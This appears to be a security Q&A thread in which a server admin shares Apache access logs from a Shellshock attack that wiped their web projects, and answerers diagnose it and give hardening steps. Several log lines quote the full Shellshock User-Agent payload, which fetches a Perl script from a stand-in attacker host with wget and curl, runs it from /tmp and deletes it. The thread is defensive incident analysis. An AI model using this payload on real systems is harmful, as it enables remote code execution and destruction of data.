0

My apache server has cgi module enabled because we need to execute cgi scripts in browser. We have enabled suExec module of apache which allows to execute cgi script as a particular user, In our case that user is ubuntu and co-incidently it is also a sudo user but we do not use any sudo commands in our cgi scripts neither we have manipulated sudoers file for this purpose. It is default file since the beginning.

The cgi scripts which we use are in /usr/lib/cgi-bin directory whose owner is ubuntu. The htdocs directory is /var/www/html where all web projects are placed. The owner of this directory is also ubuntu because our cgi scripts create and update files in these project directories and if owner of project directories is not ubuntu then we can not write into these directories using cgi scripts.

This is the scenario we were using since long time without facing any trouble until last week. An attack came into lime light when an attacker removed web projects of /var/www/html using a cgi script.

I got this entry in access log.

    [02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

I have this perl file(perlscript.tgz), it has 988 lines, I am not sure what it does but I am quite sure, it has done the damage because project urls in log file was not 404 before this entry and after this, all project urls were 404.

This was not the only entry. Before it, Attacker tried with multiple unsuccessful attempts. Here are the unsuccessful attempt log.

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

These were all unsuccessful attempts, almost hundreds but all were 404. Successful attempt returned with 200 status and it destroyed everything.

Can you please explain how attacker reached to the project directories and removed them, and most importantly, what should I do now to make my system robust against these attacks in future?

  • 3
    Looks like your server is vulnerable against Shellshock, a bug which was found and fixed 09/2014, i.e. more than two years ago. Since this is such an old bug your server was probably not updated for a long time and might also be vulnerable to many more bugs which were found in the mean time. – Steffen Ullrich Mar 5 '17 at 13:37
  • Which is your apache version? – OscarAkaElvis Mar 5 '17 at 13:48
  • My apache version : Server version: Apache/2.4.7 (Ubuntu) – Derek Mar 5 '17 at 14:00
3

we need to execute cgi scripts in browser.

Erm, no. CGI scripts execute on the server.

In our case that user

You are using suexec for privilege seperation for a single user? That's really...unusual?

In our case that user is ubuntu

Erk! And presumably this is an Ubuntu box. I guess you really must have a very good reason for doing this.

The owner of [the document root] directory is also ubuntu

Oh dear. I don't think you've thought this through very well.

if owner of project directories is not ubuntu then we can not write into these directories using cgi scripts.

You might want to spend some time reading the excellent documentation. You can write to these directories with other users (or have them owned by other users and accessible to reads (or reads) by your cgi-bin user.

As Steffen says, they likely got in using Shellshock, but once inside they had the run of your server. You can patch the shellshock vuln. but what you have described here is a catalog of bad design. If this attack was anything more than the most trivial of bots then the attackers will already have installed other backdoors.

Transforming what you have described here into something secure is going to take more than a few posts and answers on stack overflow sites.

As an absolute minimum:

  • Nuke your server from low orbit
  • Rebuild from a backup predating the attack (do not connect to internet)
  • Patch your server and work out a way of keeping it up to date
  • Install a host based IDS and learn how to use it
  • Seperate out the control channel for your content and run it in a captive portal
  • Use a uid other than ubuntu for executing your cgi scripts
  • Ensure this user only has write access where it absolutely needs it to do its job
  • Learn how to configure unix permissions, suexec and umask then come up with a better permissions model
  • For preference, run the webserver in an apparmor sandbox
  • Apply the model before you plug back into the internet
  • Thank you for detail description. I was working on points what you suggested. You said "Ensure this user only has write access where it absolutely needs it to do its job" but without write permission, we are not able to write into /var/www/html directories using cgi script. – Derek Mar 14 '17 at 12:41
  • /var/www/html is a directory, not directories. Maybe it all needs to be writeable by the cgi scripts - we don't know how this is intended to work, but you need to find out. – symcbean Mar 14 '17 at 21:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.